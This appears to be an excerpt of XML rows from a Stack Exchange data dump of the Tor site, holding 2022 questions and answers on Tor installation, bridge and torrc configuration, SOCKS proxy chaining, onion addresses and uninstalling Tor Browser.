  <row Id="23266" PostTypeId="2" ParentId="23265" CreationDate="2022-08-10T00:30:11.897" Score="0" Body="&lt;p&gt;No, it's not compromising your security at all: if your virtualization host os pwn'ed and you're not using quite a layer of security like a LUKS + AMD SEV or Intel corresponding stack for a secure VM running - you're doomed. The host caching feature &lt;em&gt;is&lt;/em&gt; handy when you do have an UPS that can perform a safe shutdown via USB connection &lt;em&gt;or&lt;/em&gt; a network management card. In this case you do have a good - or even a great - performance boost. You can also run it on a laptop that will do a safe shutdown when the battery power is near depletion. Even a simple UPS with a USB connector costs like a 100USD, so don't be too savvy ;)&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-10T00:30:11.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23269" PostTypeId="1" CreationDate="2022-08-13T15:21:07.893" Score="1" ViewCount="412" Body="&lt;p&gt;I have been trying to reinstall a tor bridge relay.&lt;/p&gt;&#xA;&lt;p&gt;When following the instructions on the following page&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://support.torproject.org/apt/tor-deb-repo/ &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the section starting &amp;quot;3. Then add the gpg key used to sign the packages by running the following command at your command prompt:&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;the very long command given did not work on my system.&lt;/p&gt;&#xA;&lt;p&gt;When I searched for help, I found the page below&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/23212/problem-with-adding-gpg-while-installing-tor-browser-permission-denied&quot;&gt;Problem with adding gpg while installing Tor browser: Permission denied&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The advice, to insert sudo before the word tee in the long command, allowed the command to work.&lt;/p&gt;&#xA;&lt;p&gt;I am writing to ask if the instructions should either just add the sudo before the work tee, if that is always required, or provide a note saying that it may be required.&lt;/p&gt;&#xA;&lt;p&gt;My apologies if this change is already in hand.&lt;/p&gt;&#xA;" OwnerUserId="19303" LastActivityDate="2022-08-13T22:11:32.270" Title="Change instructions or add alternative for adding gpg key" Tags="|bridge|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23270" PostTypeId="1" CreationDate="2022-08-13T19:19:22.563" Score="0" ViewCount="977" Body="&lt;p&gt;There are four versions offered: aarch64, arm, x86_x64, and x86. Now, I should probably look somewhere in device settings for an answer. Where precisely to look?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="33646" LastActivityDate="2022-08-17T04:13:41.327" Title="Which Android version of Tor Browser should I choose for my Android devices?" Tags="|android|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23271" PostTypeId="2" ParentId="23269" CreationDate="2022-08-13T22:11:32.270" Score="0" Body="&lt;p&gt;It's probably better if you bring this up with the Tor Project people who manage the website. You can make a new issue at &lt;a href=&quot;https://gitlab.torproject.org/tpo/web/support&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/web/support&lt;/a&gt; to explain how the instructions are unclear.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The advice, to insert sudo before the word tee in the long command, allowed the command to work.&lt;/p&gt;&#xA;&lt;p&gt;I am writing to ask if the instructions should either just add the sudo before the work tee, if that is always required, or provide a note saying that it may be required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The &amp;quot;sudo&amp;quot; command is only needed if you're not running in a root shell, and the guide implies that you should be running a root shell by using the &amp;quot;#&amp;quot; shell syntax.&lt;/p&gt;&#xA;&lt;p&gt;But I agree that this is confusing when you're not already familiar with installing tor, so hopefully it can be improved if you let them know about it.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-08-13T22:11:32.270" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23272" PostTypeId="1" CreationDate="2022-07-15T14:31:30.963" Score="1" ViewCount="189" Body="&lt;p&gt;I want to use dnscrypt proxy for queries, but it's not working on tor.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://security.stackexchange.com/questions/261159/how-to-use-a-custom-dns-and-socks5-at-the-same-time&quot;&gt;Same question as this&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://forum.opnsense.org/index.php?topic=15097.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;I found this solution&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Firefox is working properly.&lt;/p&gt;&#xA;&lt;p&gt;I also tried privoxy over tor but not working as I wanted...&lt;/p&gt;&#xA;&lt;p&gt;How can I use my running locally dns server on tor ?&lt;/p&gt;&#xA;" OwnerUserId="34802" OwnerDisplayName="Tuncay UYSAL" LastEditorUserId="14997" LastEditDate="2022-08-21T22:23:43.893" LastActivityDate="2022-09-07T18:45:27.250" Title="Local DNS for SOCKS5" Tags="|proxy|dns|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23273" PostTypeId="1" AcceptedAnswerId="23276" CreationDate="2022-08-14T22:59:41.250" Score="0" ViewCount="268" Body="&lt;p&gt;trying to configure bridges, but I'm getting error:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;Servers must be able to freely connect to the rest of the Internet, so they must not set  UseBridges&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;my config in &lt;code&gt;/etc/tor/torrc&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;User tor&#xA;&#xA;SOCKSPort 9050&#xA;ORPort 9001&#xA;&#xA;MaxCircuitDirtiness 10&#xA;CircuitBuildTimeout 10&#xA;ExcludeExitNodes {US}&#xA;StrictNodes 1&#xA;&#xA;# BridgeRelay 1&#xA;DataDirectory /var/lib/tor&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:9001&#xA;ORPort 9001&#xA;ExtORPort auto&#xA;&#xA;&#xA;UseBridges 1&#xA;ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;&#xA;&#xA;Bridge obfs4 94.142.246.132:8088 135C158527AA9FE9A2F26EC515EB6999D813D347 cert=wTUz0/5FhAZRkitil5MprGbSF3JzjxjxI1kAmxAdSeDy98NgcLr11f/qUXWDC76Y97RiSg iat-mode=0&#xA;Bridge obfs4 172.104.232.194:8083 5E2D18551CE8ADC540DDAD1178771ED7AD265D8F cert=30PZIXba0B5tPC1c27SVWxclrSOR9SNvDIi+mk2a+zccwvaEcKvQkEi+tf/06D2LoNX7cQ iat-mode=0&#xA;Bridge obfs4 20.102.79.78:22022 B5705F7E616DAB0F477E3E1ADC23E40413F683FE cert=1Cc/hwPtPjzFKGHVOP0j/qmBgnvquRx8+im35/u5TIYjDQ3FlMfA5VvTrQ/hbX8BZZooLQ iat-mode=0```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37063" LastActivityDate="2022-08-15T20:18:33.767" Title="Servers must be able to freely connect to the rest of the Internet, so they must not set UseBridges" Tags="|configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23275" PostTypeId="2" ParentId="23242" CreationDate="2022-08-15T01:33:30.400" Score="2" Body="&lt;p&gt;Open up developer console on your browser, run this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;console.log(window.navigator.userLanguage || window.navigator.language)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If it prints your preferred language, that means you're fine. Otherwise, either your DNS or outbound connection leaked your real IP. One of the real case published &lt;a href=&quot;https://ca.finance.yahoo.com/news/brave-browser-exposing-addresses-tor-203220130.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="37064" LastActivityDate="2022-08-15T01:33:30.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23276" PostTypeId="2" ParentId="23273" CreationDate="2022-08-15T20:18:33.767" Score="1" Body="&lt;p&gt;Your config file is trying to run a tor relay, not just a client.&lt;/p&gt;&#xA;&lt;p&gt;You need to remove the following lines:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ORPort 9001&#xA;&#xA;# BridgeRelay 1&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ServerTransportListenAddr obfs4 0.0.0.0:9001&#xA;ORPort 9001&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-08-15T20:18:33.767" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23277" PostTypeId="2" ParentId="23270" CreationDate="2022-08-17T04:05:16.153" Score="0" Body="&lt;p&gt;Based on &lt;a href=&quot;https://github.com/guardianproject/orbot/blob/master/app/build.gradle#L18-L19&quot; rel=&quot;nofollow noreferrer&quot;&gt;Orbot's Source Code&lt;/a&gt;, which is an official Android Tor Browser, we know that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;android {&#xA;  defaultConfig {&#xA;    minSdkVersion 16 &#xA;    targetSdkVersion 31&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;By SDK version number from &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Android_version_history&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;, we can conclude that Tor on Android has requirements as below.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Minimum Android Version: JellyBean 4.1&lt;/li&gt;&#xA;&lt;li&gt;Recommended Android Version: Android 12&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;: If you need to see Android version for specific Tor Browser version, see &lt;a href=&quot;https://github.com/guardianproject/orbot/tags&quot; rel=&quot;nofollow noreferrer&quot;&gt;tags&lt;/a&gt; then go to file &lt;code&gt;app/build.gradle&lt;/code&gt; at &amp;quot;view code&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="37064" LastEditorUserId="37064" LastEditDate="2022-08-17T04:13:41.327" LastActivityDate="2022-08-17T04:13:41.327" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23278" PostTypeId="1" CreationDate="2022-08-17T22:54:42.863" Score="0" ViewCount="82" Body="&lt;p&gt;I was wondering if it is possible to set up a web server, on the clear web that is completely anonymous. Perhaps using a tor proxy?&#xA;Many thanks,&lt;/p&gt;&#xA;" OwnerUserId="37077" LastActivityDate="2022-09-10T23:57:15.203" Title="Anonymous clear web server?" Tags="|torproject.org|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23279" PostTypeId="5" CreationDate="2022-08-18T14:55:36.930" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2022-08-18T14:55:36.930" LastActivityDate="2022-08-18T14:55:36.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23280" PostTypeId="4" CreationDate="2022-08-18T14:55:36.930" Score="0" Body="Attacks against the tor network or its participants, or attacks from it." OwnerUserId="12978" LastEditorUserId="12978" LastEditDate="2022-08-21T22:24:00.367" LastActivityDate="2022-08-21T22:24:00.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23281" PostTypeId="5" CreationDate="2022-08-18T14:56:12.127" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2022-08-18T14:56:12.127" LastActivityDate="2022-08-18T14:56:12.127" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23282" PostTypeId="4" CreationDate="2022-08-18T14:56:12.127" Score="0" Body="Questions about the participants of the tor network." OwnerUserId="12978" LastEditorUserId="12978" LastEditDate="2022-08-21T22:23:54.440" LastActivityDate="2022-08-21T22:23:54.440" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23283" PostTypeId="1" CreationDate="2022-08-19T13:58:24.717" Score="1" ViewCount="70" Body="&lt;p&gt;I am on Windows 11 and suddenly lost Tor from system. I downloaded the installation file  (Torbrowser-install-win64-11.5.1_en-US_2.exe) but during installation (to my desktop) I get this message=  &amp;quot;The procedure entry point RSA_get0_d could not be located in the dynamic link library C:\users\boxer\Desktop\Tor Browser\browser\TorBrowser\Tor\Tor.exe&amp;quot;&#xA;At this point it stops dead.&#xA;Firefox is working OK and event viewer is silent. Have deleted and re-installed several time but always the same.&lt;/p&gt;&#xA;" OwnerUserId="37084" LastActivityDate="2022-08-19T13:58:24.717" Title="Tor fails to initilise after installation" Tags="|tor-browser-bundle|windows|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23284" PostTypeId="2" ParentId="21471" CreationDate="2022-08-22T15:53:04.333" Score="0" Body="&lt;p&gt;You Must Go Through /about:config/  Type That in A New Browser Window.&#xA;Once You Get There, It Will Give You All Kinds of Warnings.  Accept Them.  Once You Reach Destination Site, in Top 'URL'&#xA;Type /signon.management.page.fileImport.enabled/&#xA;This Will Give You One Choice in Lower Window.  It Will Say /false/  on Right, There is two arrows going Opposite Direction, Enclosed in box.  Tap That.&#xA;Make True.&lt;/p&gt;&#xA;&lt;p&gt;Couple Things:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Don't Use the Forward Slash I Have in my Post.  I Just Use That, to Prevent Code Engaging&lt;/li&gt;&#xA;&lt;li&gt;Even Once You establish Import File Rights, TOR Won't Install Them.  You'll Get an Error, That None Were Uploaded.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;That's Where I Am.&lt;/p&gt;&#xA;" OwnerUserId="37092" LastActivityDate="2022-08-22T15:53:04.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23285" PostTypeId="2" ParentId="21471" CreationDate="2022-08-23T22:19:23.303" Score="0" Body="&lt;p&gt;The safe and correct way to do so is to use KeePassXC secure password manager and a corresponding integration add-on for a browser(s)... Just check it out - and you will see the full and secure answer for your question&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2022-08-23T22:19:23.303" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23287" PostTypeId="2" ParentId="23252" CreationDate="2022-08-24T06:36:40.967" Score="0" Body="&lt;p&gt;Quick correction only re&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[Proton] claims not to log data from its customers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It claims otherwise, declaring so, for more than a year, e.g. &lt;a href=&quot;https://www.techspot.com/news/91126-protonmail-criticized-handing-activist-ip-address-authorities-leading.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ProtonMail criticized for handing activist's IP address to authorities, leading to their arrest&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;The company says it is obliged to obey Swiss laws&#xA;By Rob Thubron September 7, 2021 at 5:17 AM&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37098" LastActivityDate="2022-08-24T06:36:40.967" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23290" PostTypeId="1" CreationDate="2022-08-26T06:40:37.540" Score="1" ViewCount="302" Body="&lt;p&gt;I have my onion site online but I'd like to change my URL.&lt;/p&gt;&#xA;&lt;p&gt;For example my URL looks like :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://j3cjshcxrizpbq4txis7lk242hascwom5vwhvhdfvgpajqkwlzfrynad.onion/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I would like to change my URL and have different URL onion or change my URL using my name like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://dreadytofatroptsdj6io7l3xptbet6onoyno2yv7jicoxknyazubrad.onion/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This onion site has its name in the first part of the URL.&lt;/p&gt;&#xA;&lt;p&gt;How could I do that?&lt;/p&gt;&#xA;" OwnerUserId="37115" OwnerDisplayName="sdsadsdsd" LastActivityDate="2022-09-07T18:39:16.630" Title="how to change my onion URL?" Tags="|url|onion-routing|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23293" PostTypeId="1" AcceptedAnswerId="23305" CreationDate="2022-08-28T06:53:33.410" Score="0" ViewCount="260" Body="&lt;p&gt;If my ISP blocks access to tor nodes, I would get bridge info from official tor website and connect tor again but how can I make my hidden service to use bridges ? Does hidden service even need bridges or just the end user needs bridges ?&lt;/p&gt;&#xA;" OwnerUserId="34788" LastActivityDate="2022-09-07T18:36:33.133" Title="How to implement a hidden service with bridges?" Tags="|onion-services|torsocks|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23294" PostTypeId="2" ParentId="20712" CreationDate="2022-08-29T08:42:51.103" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What are grey bars on resized Tor Browser window?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Tor Browser in its default mode is starting with a content window rounded to a multiple of &lt;code&gt;200px x 100px&lt;/code&gt; to prevent &lt;code&gt;fingerprinting the screen dimensions&lt;/code&gt;. The strategy here is to put all users in a couple of buckets to make it harder to single them out. That works so far until users start to resize their windows (e.g. by maximizing them or going into fullscreen mode). Tor Browser ships with a fingerprinting defense for those scenarios as well, which is called &lt;a href=&quot;https://en.wikipedia.org/wiki/Letterboxing_%28filming%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Letterboxing&lt;/a&gt;, a technique developed by Mozilla and presented in 2019. It works by adding white margins to a browser window so that the window is as close as possible to the desired size while users are still in a couple of screen size buckets that prevent singling them out with the help of screen dimensions.&lt;/p&gt;&#xA;&lt;p&gt;In simple words, this technique makes groups of users of certain screen sizes and this makes it harder to single out users on basis of screen size, as many users will have same screen size.&lt;/p&gt;&#xA;&lt;p&gt;But still I didn't understand 100% of this!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;for more info&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37124" LastActivityDate="2022-08-29T08:42:51.103" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23295" PostTypeId="2" ParentId="20595" CreationDate="2022-08-31T10:38:04.417" Score="1" Body="&lt;p&gt;I have recently stumbled upon the same issue, so I'd write my solution for Linux for future users.&lt;/p&gt;&#xA;&lt;p&gt;Let's assume our Linux machine has an IP 1.2.3.4, and we want to run our proxy with authentication on a port 9051.&lt;/p&gt;&#xA;&lt;p&gt;I've chosen Dante as a server for chaining Socks proxies. The algorithm is the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start TOR, e.g. on the default port 9050 (localhost only, not the external interface: check &lt;code&gt;SocksPort&lt;/code&gt; in &lt;code&gt;torrc&lt;/code&gt;), and put it to autostart:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl start tor.service&#xA;sudo systemctl enable tor.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Dante server from your Linux distribution package manager (e.g. &lt;code&gt;sudo apt-get install dante-server&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Configure &lt;code&gt;/etc/sockd.conf&lt;/code&gt;, a config file for Dante:&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;logoutput: /var/log/sockd.log&#xA;internal: 1.2.3.4 port = 9051&#xA;external: 1.2.3.4&#xA;socksmethod: username # if you'd like to use existing OS&#xA;                      # user accounts for authentication&#xA;user.privileged: root&#xA;user.unprivileged: nobody&#xA;client pass {&#xA;    from: 0/0 to: 0/0&#xA;    log: error connect disconnect&#xA;}&#xA;socks pass {&#xA;    from: 0/0 to: 0/0&#xA;    log: error connect disconnect&#xA;}&#xA;route {&#xA;    from: 0.0.0.0/0 to: 0.0.0.0/0 via: 127.0.0.1 port = 9050&#xA;    proxyprotocol: socks_v4 socks_v5&#xA;    method: none&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Here &lt;code&gt;route&lt;/code&gt; is the key section, telling us to redirect all successfully authenticated incoming connections to a local TOR server.&lt;/p&gt;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;Run Dante server and put it to autostart:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl start sockd.service&#xA;sudo systemctl enable sockd.service&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure our port 9051 is open in the firewall.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;On your client device, specify SOCKS5 proxy, IP 1.2.3.4, port 9051, and any of the OS users registered on your server with their password.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="37133" LastEditorUserId="37133" LastEditDate="2022-08-31T10:39:31.237" LastActivityDate="2022-08-31T10:39:31.237" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23296" PostTypeId="1" CreationDate="2022-09-02T14:16:58.407" Score="0" ViewCount="61" Body="&lt;p&gt;&lt;a href=&quot;https://www.techwalla.com/articles/how-to-view-ntuserdat&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.techwalla.com/articles/how-to-view-ntuserdat&lt;/a&gt;&#xA;is not working in Tor.&#xA;Any website of techwalla.com is not working in Tor.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mkUab.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mkUab.png&quot; alt=&quot;screenshot of the error&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="37141" LastActivityDate="2022-09-03T23:44:43.493" Title="Website not working in Tor" Tags="|website|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23297" PostTypeId="1" AcceptedAnswerId="23299" CreationDate="2022-09-03T09:23:34.527" Score="1" ViewCount="129" Body="&lt;p&gt;&lt;code&gt;.onion&lt;/code&gt; URLs that I've seen do not open normal web browsing.&lt;/p&gt;&#xA;&lt;p&gt;My question is can I open a typical website (like a &lt;code&gt;.com&lt;/code&gt; or &lt;code&gt;.net&lt;/code&gt;) and buy a &lt;code&gt;.onion&lt;/code&gt; URL for it which can be opened through normal web browsing? in other words, can there be a &lt;code&gt;.onion&lt;/code&gt; website that is accessible via the normal web?&lt;/p&gt;&#xA;&lt;p&gt;If not, how is that? What is the technical difference between a &lt;code&gt;.onion&lt;/code&gt; URL and &lt;code&gt;.com&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="37145" LastEditorUserId="37145" LastEditDate="2022-09-03T09:32:27.717" LastActivityDate="2022-09-03T23:38:21.713" Title="Can we make a non-tor .onion website?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23299" PostTypeId="2" ParentId="23297" CreationDate="2022-09-03T23:38:21.713" Score="2" Body="&lt;p&gt;No, you cannot buy a domain with a &lt;code&gt;.onion&lt;/code&gt; TLD and make it available outside of the Tor network. The onion TLD is not in the &lt;a href=&quot;https://www.iana.org/domains/root/db&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS root zone&lt;/a&gt;, and the onion TLD is designated specifically for onion services.&lt;/p&gt;&#xA;&lt;p&gt;The technical difference is that the routing and name resolution are completely different for onion services. Unlike typical websites, connecting to an onion service does not involve a DNS lookup and a TCP connection to the returned IP address. To connect to an onion service you must connect through Tor's SOCKS proxy, which will take an onion domain and then route your traffic using Tor's own protocols. This routing requires specialized software (the Tor client) and just a web browser by itself wouldn't know how to do it. You can read more about this in Tor's &lt;a href=&quot;https://community.torproject.org/onion-services/overview/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;How do Onion Services work?&amp;quot;&lt;/a&gt; document.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-03T23:38:21.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23300" PostTypeId="2" ParentId="23296" CreationDate="2022-09-03T23:44:43.493" Score="2" Body="&lt;p&gt;The website is blocking connections from Tor exit relays. There's not much you can do to get around it while using Tor. You can try using new circuits until you get a circuit with an exit relay that the website hasn't blocked yet. You can do this by clicking the lock icon in the URL bar and then clicking the &amp;quot;New Circuit&amp;quot; button. If that doesn't work, then you'll likely have to use a VPN instead.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-03T23:44:43.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23301" PostTypeId="2" ParentId="19483" CreationDate="2022-09-04T20:26:23.687" Score="0" Body="&lt;p&gt;If you are using ubuntu, you can install package with geoip addresses:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt-get install tor-geoipdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="37155" LastActivityDate="2022-09-04T20:26:23.687" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23302" PostTypeId="2" ParentId="17690" CreationDate="2022-09-05T04:57:47.373" Score="0" Body="&lt;p&gt;I also needed to downgrade my Tor browser recently, but I had to do some searching to find the installation files for that version. I found the following options for that.&lt;/p&gt;&#xA;&lt;p&gt;If it's a very recent version you can probably find it at  &lt;a href=&quot;https://dist.torproject.org/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://dist.torproject.org/torbrowser/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If it is an older version, you can probably find it in the package archive. &lt;a href=&quot;https://archive.torproject.org/tor-package-archive/torbrowser/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://archive.torproject.org/tor-package-archive/torbrowser/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30732" LastActivityDate="2022-09-05T04:57:47.373" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23303" PostTypeId="1" CreationDate="2022-09-05T23:48:30.070" Score="0" ViewCount="415" Body="&lt;p&gt;I want to uninstall TOR but I can't find it. It's not listed in Control Panel - Programs and Features. None of the explanations I've read work. It's still on my computer somewhere because at odd times, when I try to use a url for a web site, the screen goes black and a garbled string of characters appears in the address bar. Any suggestions as to what I can do do to help me find it will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="37159" LastActivityDate="2022-09-07T01:57:43.320" Title="I can't find TOR icon or app" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23304" PostTypeId="2" ParentId="23303" CreationDate="2022-09-07T01:57:43.320" Score="0" Body="&lt;p&gt;Tor Browser does not get &lt;em&gt;installed&lt;/em&gt; in the way that most programs do, so it doesn't appear in &amp;quot;Programs and Features&amp;quot;. You can simply delete the &amp;quot;Tor Browser&amp;quot; folder to remove/uninstall it.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tb-manual.torproject.org/uninstalling/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://tb-manual.torproject.org/uninstalling/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Removing Tor Browser from your system is simple:&lt;/p&gt;&#xA;&lt;p&gt;On Windows:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Locate your Tor Browser folder or application. The default location is the Desktop.&lt;/li&gt;&#xA;&lt;li&gt;Delete the Tor Browser folder or application.&lt;/li&gt;&#xA;&lt;li&gt;Empty your Trash.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&lt;p&gt;Note that your operating system’s standard &amp;quot;Uninstall&amp;quot; utility is not used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;when I try to use a url for a web site, the screen goes black and a garbled string of characters appears in the address bar&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This sounds like something unrelated to Tor Browser. You should make a new post with a screenshot and more details, and maybe someone will be able to help with that issue specifically.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2022-09-07T01:57:43.320" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23305" PostTypeId="2" ParentId="23293" CreationDate="2022-09-07T18:36:33.133" Score="0" Body="&lt;p&gt;Just the user need bridges to host a hidden service if the ISP blocks Tor.&lt;/p&gt;&#xA;&lt;p&gt;Add the bridges and the hidden service lines to your torrc file and run Tor normally.&lt;/p&gt;&#xA;" OwnerUserId="34847" LastActivityDate="2022-09-07T18:36:33.133" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
